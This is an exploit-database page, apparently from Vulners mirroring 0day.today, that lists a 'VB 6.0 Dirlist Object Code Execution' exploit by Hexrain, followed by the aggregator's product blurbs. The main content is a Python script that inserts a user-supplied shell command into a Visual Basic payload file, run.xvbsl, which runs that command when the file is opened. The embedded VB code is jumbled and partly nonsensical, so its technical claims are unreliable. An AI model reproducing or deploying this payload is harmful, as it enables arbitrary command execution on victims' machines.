Lucene search
K

VB 6.0 Dirlist Object Code Execution Exploit

🗓️ 23 Apr 2020 00:00:00Reported by HexraiNType 
zdt
 zdt
🔗 0day.today👁 17 Views

VB 6.0 Dirlist Object Code Execution Exploit by Hexrai

Code
#/
#* VB 6.0 Dirlist Object Code Execution
#* Author  : Hexrain
#* Tutorial Video : https://youtu.be/BLFbUJ4n8hY
#* Twitter : @smashedkernel
#* Greetz : OA Cybersec ~ wornix ~ blacknbunny
#/
    

import sys 

try:
    commandfile = sys.argv[1]
    poc = 'End If\nEnd Sub\nlPtr = Private Type Private Type\nRtlMoveMemory ByVal lPtr, &HE8, &H1: lPtr = lPtr + 1\nRtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4: lPtr = lPtr + 4\nRtlMoveMemory ByVal lPtr, &HC3, &H1: lPtr = lPtr + 1\nCallAPI = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)\nbvASM(Shell "{0}",vbNormal)\nEnd Function\n'.format(commandfile)
    fo = open("run.xvbsl", "w")
    fo.write( poc)
    fo.close()
    print ("[+] Payload Created Succes..")
except:
    print ("[!] Payload not created..")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation